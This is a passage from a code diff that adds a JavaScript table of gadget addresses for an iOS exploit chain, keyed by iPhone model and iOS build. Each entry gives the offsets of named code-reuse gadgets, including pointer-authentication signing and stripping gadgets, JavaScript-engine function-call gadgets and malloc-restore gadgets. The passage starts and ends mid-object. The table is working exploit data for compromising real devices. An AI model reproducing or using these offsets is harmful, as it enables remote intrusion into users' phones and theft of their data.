store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed152ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f019150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,6_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a91b02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c7acea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26144098cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ec912ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd52178n, + tcall_X0LG: 0x21f01d150n, + transformSurface_gadget: 0x210170b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,7_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9b302cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c848ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26184d98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed292ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd62178n, + tcall_X0LG: 0x21f02d150n, + transformSurface_gadget: 0x210180b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,8_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9b302cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c848ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26184d98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed292ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd62178n, + tcall_X0LG: 0x21f02d150n, + transformSurface_gadget: 0x210180b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone15,2_22G86": { + _4_fcalls: 0x1c62b9bf8n, + _CFObjectCopyProperty: 0x18e436700n, + add_x22_0x90: 0x23a9fb02cn, + dyld_signPointer_gadget: 0x1a962f0a4n, + fcall_14_args_write_x8: 0x24c891ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82fa60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29acn, + load_x1x3x8: 0x261c4398cn, + malloc_restore_0_gadget: 0x18fc3728cn, + malloc_restore_1_gadget: 0x1ca6e95c8n, + malloc_restore_2_gadget: 0x1a95fd6c8n, + malloc_restore_3_gadget: 0x1901c5d34n, + mov_x0_x22: 0x193fdb8d4n, + self_loop: 0x18ff78d38n, + store_x0_x0: 0x1941d89b8n, + str_x1_x2: 0x1e6966b00n, + tcall_CRLG: 0x23ed712ecn, + tcall_CSSG: 0x1ad430c3cn, + tcall_DG: 0x1e02c73f8n, + tcall_DSSG: 0x1a9b79b10n, + tcall_RLG: 0x20dd6a178n, + tcall_X0LG: 0x21f035150n, + transformSurface_gadget: 0x210188b70n, + xpac_gadget: 0x1b6424a08n, + }, + "iPhone15,3_22G86": { + _4_fcalls: 0x1c62b9bf8n, + _CFObjectCopyProperty: 0x18e436700n, + add_x22_0x90: 0x23a9fb02cn, + dyld_signPointer_gadget: 0x1a962f0a4n, + fcall_14_args_write_x8: 0x24c891ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82fa60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29acn, + load_x1x3x8: 0x261c4398cn, + malloc_restore_0_gadget: 0x18fc3728cn, + malloc_restore_1_gadget: 0x1ca6e95c8n, + malloc_restore_2_gadget: 0x1a95fd6c8n, + malloc_restore_3_gadget: 0x1901c5d34n, + mov_x0_x22: 0x193fdb8d4n, + self_loop: 0x18ff78d38n, + store_x0_x0: 0x1941d89b8n, + str_x1_x2: 0x1e6966b00n, + tcall_CRLG: 0x23ed712ecn, + tcall_CSSG: 0x1ad430c3cn, + tcall_DG: 0x1e02c73f8n, + tcall_DSSG: 0x1a9b79b10n, + tcall_RLG: 0x20dd6a178n, + tcall_X0LG: 0x21f035150n, + transformSurface_gadget: 0x210188b70n, + xpac_gadget: 0x1b6424a08n, + }, + "iPhone15,4_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9f702cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c88dea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x2618e798cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed6d2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd66178n, + tcall_X0LG: 0x21f031150n, + transformSurface_gadget: 0x210184b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone15,5_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9f702cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c88dea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x2618e798cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed6d2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd66178n, + tcall_X0LG: 0x21f031150n, + transformSurface_gadget: 0x210184b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone16,1_22G86": { + _4_fcalls: 0x1c62b9bf8n, + _CFObjectCopyProperty: 0x18e436700n, + add_x22_0x90: 0x23a9fb02cn, + dyld_signPointer_gadget: 0x1a962f0a4n, + fcall_14_args_write_x8: 0x24d041ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82fa60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29acn, + load_x1x3x8: 0x26243b98cn, + malloc_restore_0_gadget: 0x18fc3728cn, + malloc_restore_1_gadget: 0x1ca6e95c8n, + malloc_restore_2_gadget: 0x1a95fd6c8n, + malloc_restore_3_gadget: 0x1901c5d34n, + mov_x0_x22: 0x193fdb8d4n, + self_loop: 0x18ff78d38n, + store_x0_x0: 0x1941d89b8n, + str_x1_x2: 0x1e6966b00n, + tcall_CRLG: 0x23ed712ecn, + tcall_CSSG: 0x1ad430c3cn, + tcall_DG: 0x1e02c73f8n, + tcall_DSSG: 0x1a9b79b10n, + tcall_RLG: 0x20dd6e178n, + tcall_X0LG: 0x21f039150n, + transformSurface_gadget: 0x21018cb70n, + xpac_gadget: 0x1b6424a08n, + }, + "iPhone16,2_22G86": { + _4_fcalls: 0x1c62b9bf8n, + _CFObjectCopyProperty: 0x18e436700n, + add_x22_0x90: 0x23a9fb02cn, + dyld_signPointer_gadget: 0x1a962f0a4n, + fcall_14_args_write_x8: 0x24d041ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82fa60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29acn, + load_x1x3x8: 0x26243b98cn, + malloc_restore_0_gadget: 0x18fc3728cn, + malloc_restore_1_gadget: 0x1ca6e95c8n, + malloc_restore_2_gadget: 0x1a95fd6c8n, + malloc_restore_3_gadget: 0x1901c5d34n, + mov_x0_x22: 0x193fdb8d4n, + self_loop: 0x18ff78d38n, + store_x0_x0: 0x1941d89b8n, + str_x1_x2: 0x1e6966b00n, + tcall_CRLG: 0x23ed712ecn, + tcall_CSSG: 0x1ad430c3cn, + tcall_DG: 0x1e02c73f8n, + tcall_DSSG: 0x1a9b79b10n, + tcall_RLG: 0x20dd6e178n, + tcall_X0LG: 0x21f039150n, + transformSurface_gadget: 0x21018cb70n, + xpac_gadget: 0x1b6424a08n, + }, + "iPhone17,1_22G86": { + _4_fcalls: 0x1c62b9bf8n, + _CFObjectCopyProperty: 0x18e436700n, + add_x22_0x90: 0x23a9fb02cn, + dyld_signPointer_gadget: 0x1a962f0a4n, + fcall_14_args_write_x8: 0x24c921ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82fa60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29acn, + load_x1x3x8: 0x261d1b98cn, + malloc_restore_0_gadget: 0x18fc3728cn, + malloc_restore_1_gadget: 0x1ca6e95c8n, + malloc_restore_2_gadget: 0x1a95fd6c8n, + malloc_restore_3_gadget: 0x1901c5d34n, + mov_x0_x22: 0x193fdb8d4n, + self_loop: 0x18ff78d38n, + store_x0_x0: 0x1941d89b8n, + str_x1_x2: 0x1e6966b00n, + tcall_CRLG: 0x23ed712ecn, + tcall_CSSG: 0x1ad430c3cn, + tcall_DG: 0x1e02c73f8n, + tcall_DSSG: 0x1a9b79b10n, + tcall_RLG: 0x20dd6e178n, + tcall_X0LG: 0x21f039150n, + transformSurface_gadget: 0x21018cb70n, + xpac_gadget: 0x1b6424a08n, + }, + "iPhone17,2_22G86": { + _4_fcalls: 0x1c62b9bf8n, + _CFObjectCopyProperty: 0x18e436700n, + add_x22_0x90: 0x23a9fb02cn, + dyld_signPointer_gadget: 0x1a962f0a4n, + fcall_14_args_write_x8: 0x24c921ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82fa60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29acn, + load_x1x3x8: 0x261d1b98cn, + malloc_restore_0_gadget: 0x18fc3728cn, + malloc_restore_1_gadget: 0x1ca6e95c8n, + malloc_restore_2_gadget: 0x1a95fd6c8n, + malloc_restore_3_gadget: 0x1901c5d34n, + mov_x0_x22: 0x193fdb8d4n, + self_loop: 0x18ff78d38n, + store_x0_x0: 0x1941d89b8n, + str_x1_x2: 0x1e6966b00n, + tcall_CRLG: 0x23ed712ecn, + tcall_CSSG: 0x1ad430c3cn, + tcall_DG: 0x1e02c73f8n, + tcall_DSSG: 0x1a9b79b10n, + tcall_RLG: 0x20dd6e178n, + tcall_X0LG: 0x21f039150n, + transformSurface_gadget: 0x21018cb70n, + xpac_gadget: 0x1b6424a08n, + }, + "iPhone17,3_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9f302cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c919ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26197398cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed692ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd66178n, + tcall_X0LG: 0x21f031150n, + transformSurface_gadget: 0x210184b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone17,4_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9f302cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c919ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26197398cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed692ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd66178n, + tcall_X0LG: 0x21f031150n, + transformSurface_gadget: 0x210184b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone17,5_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9ef02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c915ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x2616e198cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed652ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd62178n, + tcall_X0LG: 0x21f02d150n, + transformSurface_gadget: 0x210180b70n, + xpac_gadget: 0x1b6420a08n, + }, + + "iPhone11,2_4_6_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23abd402cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c61dea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260d6698cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef4e2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f007150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, +"iPhone11,6_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23abd402cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c61dea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260d6698cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef4e2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f007150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, + +"iPhone11,4_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23abd402cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c61dea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260d6698cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef4e2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f007150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, + + "iPhone11,8_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23ab9802cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c5e1ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260d5198cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef122ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4a178n, + tcall_X0LG: 0x21f003150n, + transformSurface_gadget: 0x210168b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone12,1_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23ab9802cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c625ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260e3b98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef122ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4a178n, + tcall_X0LG: 0x21f003150n, + transformSurface_gadget: 0x210168b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone12,3_5_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23ab9802cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c625ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260e3b98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef122ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4a178n, + tcall_X0LG: 0x21f003150n, + transformSurface_gadget: 0x210168b70n, + xpac_gadget: 0x1b6420a08n, + }, +"iPhone12,5_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23ab9802cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c625ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260e3b98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef122ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4a178n, + tcall_X0LG: 0x21f003150n, + transformSurface_gadget: 0x210168b70n, + xpac_gadget: 0x1b6420a08n, + }, + + "iPhone12,8_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23aaba02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c53dea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260d8398cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ee302ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f007150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone13,1_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9d702cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c800ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x2610de98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed4d2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f01a150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone13,2_3_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9d702cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c800ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26147598cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed4d2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f01a150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, +"iPhone13,3_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9d702cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c800ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26147598cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed4d2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f01a150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, + + "iPhone13,4_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9d702cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c800ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26147598cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed4d2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f01a150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,2_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9ab02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 